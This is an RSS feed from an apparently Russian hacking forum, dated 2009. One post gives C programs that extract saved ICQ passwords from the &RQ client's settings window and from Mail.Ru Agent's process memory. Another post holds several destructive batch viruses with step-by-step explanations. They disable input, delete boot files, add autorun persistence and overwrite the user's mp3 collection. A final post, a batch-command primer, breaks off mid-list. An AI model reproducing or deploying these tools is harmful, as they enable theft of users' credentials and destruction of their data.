						&lt;p&gt;Следует заметить, что если мы запустим QIP, в котором предварительно была установлена опция &amp;quot;Сохранить пароль&amp;quot;, то данный метод получения пароля работать не будет, так как в поле пароля находится текст &amp;quot;&amp;lt;:HIDDEN:&amp;gt;&amp;quot;. Видимо, разработчик, краем уха все-таки слышал про безопасность.&lt;br /&gt;Взлом паролей &amp;amp;RQ&lt;/p&gt;
						&lt;p&gt;Так же бесплатный и не менее популярный, чем QIP, ICQ-клиент, который ласково называют &amp;quot;крысой&amp;quot;. Крыса поддерживает плагины, скины и поддерживается сообществом разработчиков.&lt;/p&gt;
						&lt;p&gt;Качаем последнюю стабильную версию с офсайта и начинаем исследование.&lt;/p&gt;
						&lt;p&gt;После запуска &amp;amp;RQ предлагает нам создать новый профиль, для чего надо указать свой UIN, либо зарегистрировать новый. Далее предлагается выбрать язык интерфейса и программа благополучно стартует. Для того, чтобы крыса подключилась к серверу, надо выбрать статус &amp;quot;Онлайн&amp;quot;. Программа запрашивает пароль и подключается. Можно указать программе что надо подключаться автоматически при старте, для этого надо в настройках (Alt+P) поставить опцию &amp;quot;Соединяться при запуске&amp;quot; на фрейме &amp;quot;Запуск&amp;quot;. Это не обязательно. Для нас же важна опция &amp;quot;Не сохранять пароль&amp;quot;, в категории &amp;quot;Безопасность&amp;quot; настроек. Выставляем ее.&lt;/p&gt;
						&lt;p&gt;Переходим на фрейм &amp;quot;Соединение&amp;quot;. Чем примечательна для нас данная категория? Тем, что здесь есть поле &amp;quot;Пароль&amp;quot;. Запомним это обстоятельство. Пока же закроем крысу.&lt;/p&gt;
						&lt;p&gt;Откроем ее заново. Для подключения нам надо указать пароль, ведь мы выставили опцию &amp;quot;Не сохранят пароль&amp;quot;. Введем пароль, подключимся. Снова вызовем диалог настроек. Удивительно, но поле &amp;quot;Пароль&amp;quot; содержит текст. Это наш пароль? Проверим.&lt;/p&gt;
						&lt;p&gt;Воспользовавшись утилитой Spy++, узнаем имена классов окон &amp;amp;RQ, и начнем писать код.&lt;/p&gt;
						&lt;p&gt;void main()&lt;br /&gt;{&lt;br /&gt;// Объявим переменные, необходимые для работы&lt;br /&gt;HWND hmainFrm,hprefFrm,hPanel,hconnectionFr,hEdit; // Идентификаторы форм&lt;br /&gt;char* pUIN; // Указатель на буфер для UIN&lt;br /&gt;char* pPass; // Указатель на буфер для пароля&lt;br /&gt;int iUIN; // Длина UIN&lt;br /&gt;int iPass; // Длина пароля&lt;/p&gt;
						&lt;p&gt;// Основное окно &amp;amp;RQ. Из него мы будем получать UIN&lt;br /&gt;hmainFrm=FindWindow(&amp;quot;TmainFrm&amp;quot;,0);&lt;br /&gt;// Длина текста&lt;br /&gt;iUIN=SendMessage(hmainFrm, WM_GETTEXTLENGTH, 0, 0)+1;&lt;br /&gt;// Выделяем буфер&lt;br /&gt;pUIN=(char*)LocalAlloc(0,iUIN);&lt;br /&gt;// Получаем заголовок основного окна - это UIN&lt;br /&gt;GetWindowText(hmainFrm,pUIN,iUIN);&lt;/p&gt;
						&lt;p&gt;/*&lt;br /&gt;Следует учитывать, что при запуске &amp;amp;RQ, окно настроек&lt;br /&gt;не открывается вместе с основным окном. Но что же нам&lt;br /&gt;мешает его открыть? Тем более что нам любезно предоставлена&lt;br /&gt;возможность использовать горячие клавиши (Alt+P). Вот&lt;br /&gt;и эмулируем их нажатие.&lt;br /&gt;*/&lt;br /&gt;// Эмуляция Alt+P - горячей клавиши для вызова окна &amp;quot;Настройки&amp;quot;&lt;br /&gt;SendMessage(hmainFrm, WM_SYSKEYDOWN, &#039;P&#039;, 0x20000000);&lt;br /&gt;SendMessage(hmainFrm, WM_SYSKEYUP, &#039;P&#039;, 0x20000000);&lt;/p&gt;
						&lt;p&gt;// Находим окно настроек&lt;br /&gt;hprefFrm=FindWindow(&amp;quot;TprefFrm&amp;quot;,0);&lt;br /&gt;// Панель с категориями настроек&lt;br /&gt;hPanel=FindWindowEx(hprefFrm,0,&amp;quot;TPanel&amp;quot;,0);&lt;br /&gt;// Фрейм с настройками подключения&lt;br /&gt;hconnectionFr=FindWindowEx(hPanel,0,&amp;quot;TconnectionFr&amp;quot;,0);&lt;br /&gt;// Поле с паролем&lt;br /&gt;hEdit=FindWindowEx(hconnectionFr,0,&amp;quot;TEdit&amp;quot;,0);&lt;/p&gt;
						&lt;p&gt;// Длина пароля&lt;br /&gt;iPass=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0)+1;&lt;br /&gt;// Выделаем буфер&lt;br /&gt;pPass=(char*)LocalAlloc(0,iPass);&lt;br /&gt;// Получаем пароль&lt;br /&gt;SendMessage(hEdit, WM_GETTEXT, iPass, (long)pPass);&lt;/p&gt;
						&lt;p&gt;// Выводим результат&lt;br /&gt;cout &amp;lt;&amp;lt; &amp;quot;[!!!]Found for: &amp;quot;&amp;lt;&amp;lt; pUIN &amp;lt;&amp;lt; &amp;quot;tPassword: &amp;quot; &amp;lt;&amp;lt; pPass;&lt;/p&gt;
						&lt;p&gt;// Освободим память&lt;br /&gt;LocalFree(pUIN);&lt;br /&gt;LocalFree(pPass);&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;После выполнения программы можно убедиться, что и данный пример работает. Мы получили наш пароль. При этом, если QIP в случае сохранения пароля на диске скрывает пароль, то &amp;amp;RQ не заботится о том, как был введен пароль. В окне настроек пароль можно обнаружить всегда.&lt;/p&gt;
						&lt;p&gt;Единственный нюанс заключается в том, что &amp;amp;RQ не открывает окно настроек после старта, хотя единожды открытое окно настроек после закрытия опять же не закрывается, а просто становится невидимым. В исходном коде мы использовали горячую клавишу, чтобы быть уверенными, что окно настроек открыто.&lt;br /&gt;Взлом паролей Mail.Ru Агент&lt;/p&gt;
						&lt;p&gt;Очередное средство общения в сети, предоставляемое компанией Mail.Ru. Работает по собственному протоколу, имеет возможность голосового общения с выходом на внешние телефонные номера. Имеет кучу возможностей и соответственно, поклонников, которые пользуются им ежедневно.&lt;/p&gt;
						&lt;p&gt;В случае с Mail.ru Агентом мы будем использовать другой подход. Чуть более сложный, но не менее эффективный. Окна искать мы не будем. Попробуем найти пароль в памяти процесса.&lt;/p&gt;
						&lt;p&gt;Итак, качаем, устанавливаем, регистрируемся если надо и запускаем.&lt;/p&gt;
						&lt;p&gt;Агент поддерживает несколько аккаунтов пользователей, и список их хранит в реестре. В ветке HKEY_CURRENT_USERSoftware Mail.RuAgentmagent_logins он создает столько REG_BINARY параметров, сколько аккаунтов зарегистрировано на локальном компьютере. Ключи при этом называются следующим образом: NNN#ваш_email_адрес, где NNN - порядковый номер аккаунта.&lt;/p&gt;
						&lt;p&gt;Посмотрим, есть ли в памяти процесса email-адрес. Для этого воспользуемся утилитой PE Tools, которая позволяет сделать дамп процесса.&lt;/p&gt;
						&lt;p&gt;Сохраняем дамп, загружаем его в Hex Workshop. Жмем Ctrl+F для открытия диалога поиска. Выбираем режим Text String и в поле Value вводим наш email-адрес. Нажимаем Ok и редактор выделяет найденный текст. Вы уже заметили? Через 4 байта от email-адреса находится пароль! Что это за 4 байта? Это 32-х битное значение длины пароля. Перед email-адресом тоже есть его длина. Вот и все, осталось только автоматизировать процесс поиска, чем мы и займемся.&lt;/p&gt;
						&lt;p&gt;// Функция возвращает хэндл процесса magent.exe&lt;br /&gt;HANDLE GetProcess()&lt;br /&gt;{&lt;br /&gt;HANDLE hProcessSnap; // Хэндл снимка процессов&lt;br /&gt;PROCESSENTRY32 pe32; // Структура, содержащая информацию о процессе&lt;/p&gt;
						&lt;p&gt;// Делаем снимок процессов&lt;br /&gt;hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);&lt;br /&gt;if(hProcessSnap == INVALID_HANDLE_VALUE) return 0;&lt;br /&gt;pe32.dwSize = sizeof(PROCESSENTRY32);&lt;br /&gt;// Перебираем снимок&lt;br /&gt;if(!Process32First(hProcessSnap,&amp;amp;pe32)) {CloseHandle(hProcessSnap);return 0;}&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;// Сравниваем имя файла с magent.exe&lt;br /&gt;if(!lstrcmp(strupr(&amp;quot;magent.exe&amp;quot;),strupr(&amp;amp;pe32.szExeFile[0])))&lt;br /&gt;{&lt;br /&gt;// Нашли нужный процесс, вернем его хэндл&lt;br /&gt;return OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);&lt;br /&gt;}&lt;br /&gt;} while( Process32Next(hProcessSnap,&amp;amp;pe32));&lt;br /&gt;// Закрываем снимок процессов&lt;br /&gt;CloseHandle( hProcessSnap );&lt;br /&gt;return 0;&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;void main()&lt;br /&gt;{&lt;br /&gt;HKEY hKey; // Идентификатор ключа реестра&lt;br /&gt;DWORD i,t, retCode, cValues = 256; // Необходимые промежуточные переменные&lt;br /&gt;char regValue[MAX_PATH]; // Буфер для чтения ключа реестра&lt;br /&gt;DWORD cchValue = 1024; // Размер буфера&lt;br /&gt;HANDLE hProcess; // Хэндл процесса&lt;br /&gt;char szEmail[MAX_PATH]; // Буфер для email-адреса&lt;br /&gt;int iEmail; // Длина email-адреса&lt;br /&gt;HMODULE hModule; // Хэндл модуля&lt;br /&gt;MODULEINFO modinfo; // Структура, содержащая информацию о модуле&lt;br /&gt;DWORD dwReaded; // Количество байт в дампе процесса&lt;br /&gt;char szPass[128]; // Буфер для пароля&lt;br /&gt;bool found; // Флаг найден/не найден пароль&lt;br /&gt;char* pTmp; // Временный буфер&lt;/p&gt;
						&lt;p&gt;hProcess=GetProcess();&lt;br /&gt;if (hProcess)&lt;br /&gt;{&lt;br /&gt;// Получаем хэндл модуля по хэндлу процесса,&lt;br /&gt;// для чего временно создаем новый поток&lt;br /&gt;HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,&lt;br /&gt;(LPTHREAD_START_ROUTINE)GetModuleHandle, NULL, 0, NULL);&lt;br /&gt;WaitForSingleObject(hThread, INFINITE);&lt;br /&gt;GetExitCodeThread(hThread, (LPDWORD)&amp;amp;hModule);&lt;br /&gt;CloseHandle(hThread);&lt;/p&gt;
						&lt;p&gt;// Получаем информацию о загруженном модуле&lt;br /&gt;GetModuleInformation(hProcess,hModule,&amp;amp;modinfo,sizeof(MODULEINFO));&lt;/p&gt;
						&lt;p&gt;// Буфер для дампа&lt;br /&gt;PBYTE pBuffer = new BYTE[modinfo.SizeOfImage];&lt;br /&gt;// Читаем дамп&lt;br /&gt;ReadProcessMemory(hProcess, modinfo.lpBaseOfDll, pBuffer,&lt;br /&gt;modinfo.SizeOfImage, &amp;amp;dwReaded);&lt;br /&gt;if (dwReaded&amp;gt;0)&lt;br /&gt;{&lt;br /&gt;// Открываем ключ реестра&lt;br /&gt;if (RegOpenKeyEx(HKEY_CURRENT_USER,&amp;quot;Software\Mail.Ru\Agent&lt;br /&gt;\magent_logins&amp;quot;,0,KEY_QUERY_VALUE,&amp;amp;hKey)==ERROR_SUCCESS)&lt;br /&gt;{&lt;br /&gt;for (t = 0, retCode = ERROR_SUCCESS; t &amp;lt; cValues; t++)&lt;br /&gt;{&lt;br /&gt;// Перебираем по очереди параметры ключа реестра для поиска email&#039;ов в дампе&lt;br /&gt;retCode = RegEnumValue(hKey, t, regValue, &amp;amp;cchValue, NULL, NULL, NULL, NULL);&lt;br /&gt;if (retCode == ERROR_SUCCESS)&lt;br /&gt;{&lt;br /&gt;// Первые 4 байта имени параметра это номер, его пропускаем. Далее идет адрес.&lt;br /&gt;lstrcpy(szEmail,(const char*)&amp;amp;regValue[4]);&lt;br /&gt;iEmail=lstrlen(szEmail);&lt;br /&gt;// Выделяем буфер, в который будем заносить сравниваемые участки дампа&lt;br /&gt;pTmp=(char*)LocalAlloc(0,iEmail);&lt;br /&gt;found=FALSE;&lt;br /&gt;// Двигаемся по дампу&lt;br /&gt;for (i=0;i&amp;lt;dwReaded;i++)&lt;br /&gt;{&lt;br /&gt;if (found){i=dwReaded;} //Заканчиваем перебор&lt;br /&gt;// Берем очередной участок дампа для сравнения&lt;br /&gt;memcpy(&amp;amp;pTmp,&amp;amp;pBuffer[i],iEmail);&lt;br /&gt;// Сравниваем&lt;br /&gt;if (!memcmp(&amp;amp;pTmp,szEmail,iEmail))&lt;br /&gt;{&lt;br /&gt;// Через 4 байта после адреса находится пароль.&lt;br /&gt;memcpy(szPass,&amp;amp;pBuffer[i+iEmail+4],sizeof(szPass));&lt;br /&gt;// Пароль найден. Выводим результат.&lt;br /&gt;cout &amp;lt;&amp;lt; &amp;quot;[!!!]Found for : &amp;quot; &amp;lt;&amp;lt; szEmail &amp;lt;&amp;lt; &amp;quot;tPassword: &amp;quot; &amp;lt;&amp;lt; szPass;&lt;br /&gt;found=TRUE;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;LocalFree(pTmp);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;RegCloseKey(hKey);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;Компилируем, запускаем, получаем пароль. Все просто.&lt;br /&gt;Заключение&lt;/p&gt;
						&lt;p&gt;Какой можно сделать вывод? Даже если мы не храним конфиденциальную информацию на жестком диске, она является уязвимой. Всегда можно найти кучу способов получить закрытую информацию, а многие из этих способов будут настолько просты и неожиданны, что их может обнаружить каждый. Надо лишь мыслить нестандартно и все у вас получится.&lt;/p&gt;
						&lt;p&gt;Все вышеприведенные примеры направлены на привлечение более пристального внимания разработчиков программ к проблеме информационной безопасности. Приведенный автором код не претендует на уникальность и универсальность, тем не менее, принцип получения информации, применим ко многим программным продуктам.&lt;/p&gt;
						&lt;p&gt;Код примеров можно модифицировать, но использовать настоятельно рекомендуется только в образовательных целях.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Fri, 13 Mar 2009 15:47:23 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=28#p28</guid>
		</item>
		<item>
			<title>FaQ</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=27#p27</link>
			<description>&lt;p&gt;Если ты новичок, и у тебя есть вопросы, задавай тут! Тем самым ты поможешь в будущем созданию большого FAQ для новичков.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Fri, 13 Mar 2009 15:40:11 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=27#p27</guid>
		</item>
		<item>
			<title>Вирусня!</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=26#p26</link>
			<description>&lt;p&gt;@echo off&lt;br /&gt;rundll32 keyboard,able&lt;br /&gt;rundll32 mouse,able&lt;br /&gt;copy %0 %windir%/system&lt;br /&gt;echo run=%windir%/system/*.bat &amp;gt;&amp;gt; win.ini&lt;br /&gt;echo run=%windir%/system/*.bat &amp;gt;&amp;gt; system.ini&lt;br /&gt;label LOHOLAMMER&lt;br /&gt;if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r&lt;br /&gt;deltree /y c:\autoexec.bat &amp;gt; nul&lt;br /&gt;echo autoexec.bat echo YOU ARE LAMMER…xe-xe-xe &amp;gt; c:\autoexec.bat&lt;br /&gt;rundll32 mouse,enable&lt;br /&gt;rundll32 keyboard,enable&lt;br /&gt;echo var WSHShell = WScript.CreateObject(”WScript.Shell”); &amp;gt; %temp%\mes.js&lt;br /&gt;echo WSHShell.Popup(”Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе”); &amp;gt;&amp;gt; %temp%\mes.js&lt;br /&gt;start %temp%\mes.js&lt;br /&gt;deltree /y %temp%\mes.js&lt;br /&gt;attrib c:\autoexec.bat +h +s +a +r&lt;br /&gt;pause&lt;br /&gt;cls&lt;/p&gt;
						&lt;p&gt;Объясняю популярно и по шагам:&lt;/p&gt;
						&lt;p&gt;1 @echo off - Запрещаем ДОСовскому окошку показывать, что делает скрипт.&lt;br /&gt;2 rundll32 keyboard,able - Отключаем клаву, на случай если юзер поймет что происходит и надумает нажать CTRL+C&lt;br /&gt;3 rundll32 mouse,able - Отключаем мышь тоже на всякий.&lt;br /&gt;4 copy %0 %windir%/system - Копируемся в папку windows/system&lt;br /&gt;// %0 - Переменная, указывающая на исходный файл-вирус&lt;br /&gt;// %windir% - переменная папка масдая.&lt;br /&gt;5 echo run=%windir%/system/*.bat &amp;gt;&amp;gt; %windir%\win.ini - Добавляет текст “run=%windir%/system/*.bat” в файл win.ini&lt;br /&gt;6 echo run=%windir%/system/*.bat &amp;gt;&amp;gt; %windir%\system.ini - Добавляет текст “run=%windir%/system/*.bat” в файл system.ini&lt;br /&gt;7 label LOHOLAMMER - Меняет имя диску c:\ на “LOHOLAMMER”&lt;br /&gt;8 if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r - Проверяем если есть файл c:\autoexec.bat то убираем&lt;br /&gt;//у него атрибуты -h -s -a -r&lt;br /&gt;9 deltree /y c:\autoexec.bat - Удаляем файл c:\autoexec.bat , если не убрать атрибуты, то программа не удалит файл.&lt;br /&gt;10 echo autoexec.bat echo YOU ARE LAMMER…xe-xe-xe &amp;gt; c:\autoexec.bat - Добавить текст “YOU ARE LAMMER…xe-xe-xe”&lt;br /&gt;//в новый файл autoexec.bat&lt;br /&gt;11 rundll32 mouse,enable - Включаем, пускай думает, что ниче не было.&lt;br /&gt;12 rundll32 keyboard,enable - Включаем, пускай думает, что ниче не было.&lt;br /&gt;13 echo var WSHShell = WScript.CreateObject(”WScript.Shell”); &amp;gt; %temp%\mes.js&lt;br /&gt;echo WSHShell.Popup(”Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе”); &amp;gt;&amp;gt; %temp%\mes.js&lt;br /&gt;start %temp%\mes.js. //Этот текст выводит масдайное окно с надписью&lt;br /&gt;deltree /y %temp%\mes.js //А потом стирает за собой следы.&lt;br /&gt;14 attrib c:\autoexec.bat +h +s +a +r - Делает файл c:\autoexec.bat скрытым и системный чтоб ламер ничего не заподозрил.&lt;br /&gt;15 pause - Просим нажать любую клавишу (Не обязательно нажимать ведь вирь уже сделал свое дело.)&lt;br /&gt;16 cls - Выходим&lt;/p&gt;
						&lt;p&gt;Эта программа, при следующей перезагрузке не даст загрузиться виндовсу и будет писать ‘Вы ламер.’ .Работает только в винде до 2000.&lt;/p&gt;
						&lt;p&gt;Идем дальше, пишем новый вирус. Те функции, которые были упомянуты уже, не будут объясняться заново. Это просто усовершенствованная версия прошлого вируса.&lt;/p&gt;
						&lt;p&gt;@echo off&lt;br /&gt;rundll32 user,setcursorpos //Убираем с экрана курсор в левый угол&lt;br /&gt;rundll32 keyboard,able //Было&lt;br /&gt;rundll32 mouse,able //Было&lt;br /&gt;rundll32 user,swapmousebutton. //Тут мы переставляем кнопки мыши&lt;br /&gt;echo Обновление параметров системы, пожалуйста подождите… //пишет отмазку &lt;br /&gt;label mp_k //Меняем имя диску&lt;br /&gt;copy mp_k.exe %windir% //Копирует себя в папку windows&lt;br /&gt;if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r&lt;br /&gt;deltree /y c:\autoexec.bat&lt;br /&gt;if exist c:\io.sys echo autoexec.bat echo YOU_ARE_LAMMER….[]=[_H@CKED_BY_[kas]*_”SmallPox_Vir_Org”_] &amp;gt; c:\autoexec.bat&lt;br /&gt;echo run = %windir%\mp_k.exe &amp;gt;&amp;gt; %windir%\win.ini&lt;br /&gt;echo run = %windir%\mp_k.exe &amp;gt;&amp;gt; %windir%\system.ini&lt;br /&gt;echo [AutoRun] &amp;gt; c:\autorun.inf //Эти операции есть в прошлом вирусе.&lt;br /&gt;echo open=c:\autoexec.bat &amp;gt; c:\autorun.inf&lt;br /&gt;echo [AutoRun] &amp;gt; d:\autorun.inf&lt;br /&gt;echo open=c:\autoexec.bat &amp;gt; d:\autorun.inf&lt;br /&gt;rundll32 mouse,enable&lt;br /&gt;rundll32 keyboard,enable&lt;br /&gt;echo var WSHShell = WScript.CreateObject(”WScript.Shell”); &amp;gt; %temp%\mes.js&lt;br /&gt;echo WSHShell.Popup(”Warning,.. А теперь необходимо перезагрузиться”); &amp;gt;&amp;gt; %temp%\mes.js&lt;br /&gt;start %temp%\mes.js&lt;br /&gt;deltree /y %temp%\mes.js&lt;br /&gt;attrib c:\autoexec.bat +h +s +a +r&lt;br /&gt;attrib %windir%\mp_k.exe +h +s +a +r&lt;br /&gt;attrib c:\autorun.inf +h +s +a +r&lt;br /&gt;attrib d:\autorun.inf +h +s +a +r&lt;br /&gt;deltree /y mp_k.exe&lt;br /&gt;rmdir %windir%\temp //Удаляем папку temp&lt;br /&gt;mkdir %windir%\temp //Создаем папку temp&lt;br /&gt;cls&lt;/p&gt;
						&lt;p&gt;А теперь, что-то новое.&lt;/p&gt;
						&lt;p&gt;@echo off&lt;br /&gt;cls&lt;br /&gt;echo Please wait, updating system…&lt;br /&gt;ctty nul. //Это новая команда, она отключает вывод текста в окошке.&lt;br /&gt;exist %WINDIR%\SYSTEM\VMM32\%0 goto :end //Если вирь уже запускался то пусть запустит себя снова.&lt;br /&gt;copy %0 %WINDIR%\SYSTEM\VMM32&lt;br /&gt;cd c:\ //Переходим в другую директорию&lt;br /&gt;for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом&lt;br /&gt;cd My Music&lt;br /&gt;for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом&lt;br /&gt;cd My_Music&lt;br /&gt;for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом&lt;br /&gt;cd MyMusic&lt;br /&gt;for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом&lt;br /&gt;cd Music&lt;br /&gt;for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом&lt;br /&gt;cd Музыка&lt;br /&gt;for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом&lt;br /&gt;cd Музон&lt;br /&gt;for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом&lt;br /&gt;cd MUZ&lt;br /&gt;for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом&lt;br /&gt;cd mp3&lt;br /&gt;for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом&lt;br /&gt;cd d:\&lt;br /&gt;for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a&lt;br /&gt;cd My Music&lt;br /&gt;for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Тут тоже самое.&lt;br /&gt;cd My_Music&lt;br /&gt;for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a&lt;br /&gt;cd MyMusic&lt;br /&gt;for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a&lt;br /&gt;cd Music&lt;br /&gt;for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a&lt;br /&gt;cd Музыка&lt;br /&gt;for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a&lt;br /&gt;cd Музон&lt;br /&gt;for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a&lt;br /&gt;cd MUZ&lt;br /&gt;for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a&lt;br /&gt;cd mp3&lt;br /&gt;for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a&lt;br /&gt;:end //Метка&lt;br /&gt;start /m /w %WINDIR%\SYSTEM\VMM32\%0 //Запуск в свернутом режиме&lt;br /&gt;ctty con //Врубаем разрешение на показ текста в окне&lt;br /&gt;echo Say goodbye your MP3 collection :)) Virus [BAT.kas.a] //Прощальные строки&lt;br /&gt;cls //Выход.&lt;/p&gt;
						&lt;p&gt;Тут мало нового но уже что-то. Идем дальше. Накачал я с инета BAT-вирусов и начал их исследовать. И вот результаты:&lt;br /&gt;Написал еще пару своих:&lt;/p&gt;
						&lt;p&gt;ctty nul //Было такое&lt;br /&gt;REM Чй† Ђь@uoњPSQRVW?&lt;br /&gt;‹тЌ&lt;br /&gt;” Q_ь№ у¦u=&lt;br /&gt;є №є њъ.я?ђ л,ђ ///&lt;br /&gt;copy %0 *.exe ///&lt;br /&gt;copy %0 b.com&amp;gt;nul // Эта технология взята с вируса другово.&lt;br /&gt;b.com. // Эти каракули перехватывают рабочие в данный момент файлы, и херит их.&lt;br /&gt;del b.com. /// Это текст АСМ скомпиленого в exe&lt;br /&gt;rem _^ZY[Xќњъ.я?ђ К ђђђђъ.я.ђ К ћ # @echoђё.5Н.Њ &#039; ‰?ђ Ќ ё.%Н.Ќ є Н&#039;ђђ //&lt;br /&gt;@echo off //&lt;br /&gt;echo XEP_BAM //Пишем злобно и красиво.&lt;br /&gt;if exist %windir%/%0.bat goto :end //Проверка виря на запускание, те был ли он запущен.&lt;br /&gt;@rundll32 user,setcursorpos&lt;br /&gt;ctty con //Было такое&lt;br /&gt;echo Обновление параметров системы, пожалуйста подождите... //Отвлекаем.&lt;br /&gt;@label BAT.c&lt;br /&gt;copy %0.bat %windir% &amp;gt; nul&lt;br /&gt;if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r&lt;br /&gt;if exist c:\boot.ini attrib c:\boot.ini -h -s -a -r&lt;br /&gt;deltree /y c:\autoexec.bat&lt;br /&gt;deltree /y c:\boot.ini&lt;br /&gt;if exist c:\autoexec.bat echo autoexec.bat echo YOU_ARE_LAMMER.... &amp;gt; c:\autoexec.bat&lt;br /&gt;if exist c:\boot.ini echo autoexec.bat echo YOU_ARE_LAMMER.... &amp;gt; c:\boot.ini //Это для XP он там вместо autoexec.bat &lt;br /&gt;deltree /y %windir%/win.ini&lt;/p&gt;
						&lt;p&gt;copy %0 &amp;gt; %windir%/win.ini&lt;br /&gt;deltree /y %windir%/system.ini&lt;br /&gt;copy %0 &amp;gt; %windir%/system.ini&lt;br /&gt;if exist c:\io.sys //Проверка наличия диска так как на каждом диске есть файл io.sys&lt;br /&gt;echo [AutoRun] &amp;gt; c:\autorun.inf //И если он есть заразить его.&lt;br /&gt;echo open=c:\autoexec.bat &amp;gt;&amp;gt; c:\autorun.inf //И если он есть заразить его.&lt;br /&gt;if exist d:\io.sys //Проверка наличия диска&lt;br /&gt;echo [AutoRun] &amp;gt; d:\autorun.inf //И если он есть заразить его.&lt;br /&gt;echo open=c:\autoexec.bat &amp;gt;&amp;gt; d:\autorun.inf //И если он есть заразить его.&lt;br /&gt;if exist e:\io.sys //Проверка наличия диска&lt;br /&gt;echo [AutoRun] &amp;gt; e:\autorun.inf //И если он есть заразить его.&lt;br /&gt;echo open=c:\autoexec.bat &amp;gt;&amp;gt; e:\autorun.inf //И если он есть заразить его.&lt;br /&gt;:end //Метка СМ начало.&lt;br /&gt;cls //Выход&lt;/p&gt;
						&lt;p&gt;О какие бывают вирусы&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Fri, 13 Mar 2009 15:36:29 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=26#p26</guid>
		</item>
		<item>
			<title>Разбираемся.... Бат (batch) файлы,что же это такое?</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=25#p25</link>
			<description>&lt;p&gt;Бат (batch) файлы,что же это такое?&lt;/p&gt;
						&lt;p&gt;Прежде всего - это пакетные дос файлы, которые содержат в себе в ASCII виде набор досовских команд. Проще говоря, bat файл содержит в себе скрипт, интерпритатором служит cmd.exe&lt;/p&gt;
						&lt;p&gt;Начну с простых команд :&lt;/p&gt;
						&lt;p&gt;1.)echo off - запрещение вывода на экран исполняемых команд (on - вкл.)&lt;br /&gt;2.) deltree /y %файл% - удалить файл (/y означает &amp;quot;удалить без вопросов&amp;quot;). В XP работает тока del (флаг /y не нужен).&lt;br /&gt;3.) copy %путь\файл% %куда\файл% - копировать файл&lt;br /&gt;4.) mkdir %название_диры% - создать директорию&lt;br /&gt;5.) echo %текст% - вывести текст на экран &lt;br /&gt;6.) echo %текст% &amp;gt; %путь\файл% - создать файл и вписать в него текст&lt;br /&gt;7.) echo %текст% &amp;gt;&amp;gt; %путь\файл% - добавить текст в уже существующий файл &lt;br /&gt;8.) if exist %путь\файл% %команда% - если существует файл, выполнить команду&lt;br /&gt;9.) attrib %атрибут% %путь\файл% - поставить\убрать атрибуты файлу (+-h скрытый, +-s системный, +-r только чтение)&lt;br /&gt;10.) start %путь\файл% - запустить файл&lt;br /&gt;11.) cls - отчистить экран&lt;br 